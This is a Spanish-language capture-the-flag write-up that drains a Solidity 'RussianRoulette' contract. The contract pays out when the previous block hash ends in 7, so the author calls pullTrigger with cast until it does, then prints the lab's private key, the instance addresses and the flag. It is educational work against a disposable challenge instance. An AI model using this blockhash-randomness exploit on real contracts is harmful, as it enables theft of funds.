Russian Roulette
3 minutos de lectura
Se nos proporciona un archivo de Solidity llamado RussianRoulette.sol
:
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
Además, tenemos este Setup.sol
, que es común en los retos de Solidity:
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
Aquí vemos que la instancia remota ha implementado un Smart Contract llamado RussianRoulette
con 10 ether
, y resolveremos el reto si el Smart Contract se queda sin balance.
Hash de un bloque
Para hacer que el Smart Contract de RussianRoulette
se quede sin dinero, necesitamos llamar a pullTrigger
para ejecutar selfdestruct
:
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
Como se puede ver, selfdestruct
se llama cuando el hash del bloque anterior es 7
en módulo 10
(en otras palabras, el último dígito decimal es un 7
). Por lo tanto, solo necesitamos realizar varias transacciones hasta que tengamos esta situación:
Explotación
Vamos a conectarnos a la instancia del reto para tomar los parámetros de conexión:
$ nc 94.237.59.113 42894
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xbe0862385b45fce1eef2af091e4f0386473b8d69bf14a291cb55f61a248aff31
Address : 0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
Target contract : 0x9A69BbA55b2E28F53465F0B8cEB8Cd4E16081D64
Setup contract : 0x80Ff54067a7a9216EB998729356a776Dc3c30555
^C
$ PRIVATE_KEY='0xbe0862385b45fce1eef2af091e4f0386473b8d69bf14a291cb55f61a248aff31'
$ ADDRESS_TARGET='0x9A69BbA55b2E28F53465F0B8cEB8Cd4E16081D64'
$ ADDRESS_SETUP='0x80Ff54067a7a9216EB998729356a776Dc3c30555'
$ export ETH_RPC_URL='http://94.237.59.113:43194'
Ahora estamos listos para usar cast
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
En este punto, podemos comenzar a hacer transacciones hasta que el hash del bloque coincida con la condición:
$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY
blockHash 0xe38c2717f3941617e4128b7bd7466d0053a0fa345ab06407d432e51805cc82ec
blockNumber 2
contractAddress
cumulativeGasUsed 21720
effectiveGasPrice 3000000000
from 0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed 21720
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xcd98670c9f7ce46f14d600e3dd0b277aec5b07030514795a48e09509ece65309
transactionIndex 0
type 2
to 0x9a69…1d64
depositNonce null
$ python3 -c 'print(0xe38c2717f3941617e4128b7bd7466d0053a0fa345ab06407d432e51805cc82ec % 10)'
0
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
El anterior no coincide, pero después de algunas transacciones, encontramos una que funcionará:
$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY
blockHash 0xc85e094b5ba8e051839702a412ae5748d7197799e5036d63169ae5e76a0c1ca7
blockNumber 4
contractAddress
cumulativeGasUsed 21720
effectiveGasPrice 3000000000
from 0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed 21720
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x8f160619e48065441abd033b6c8c2c882a55870ca8fa67ec2f6ece0082369070
transactionIndex 0
type 2
to 0x9a69…1d64
depositNonce null
$ python3 -c 'print(0xc85e094b5ba8e051839702a412ae5748d7197799e5036d63169ae5e76a0c1ca7 % 10)'
7
Entonces, tenemos que llamar a pullTrigger
de nuevo y terminamos:
$ cast send $ADDRESS_TARGET 'pullTrigger()' --private-key $PRIVATE_KEY
blockHash 0x7ec35efac3a32dfb53355d71c0db0f66f1639649d68d1f62997d338a740b87c2
blockNumber 5
contractAddress
cumulativeGasUsed 26358
effectiveGasPrice 3000000000
from 0xeb08e072B62AEc041d96cB3f06206cE7c455ff5c
gasUsed 26358
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xa66ba46f2cee0d2e65b8da44b80a18ee35989caef4dddf7f1a7fd1a71e0e9a21
transactionIndex 0
type 2
to 0x9a69…1d64
depositNonce null
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
Flag
Y esta es la flag:
$ nc 94.237.59.113 42894
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}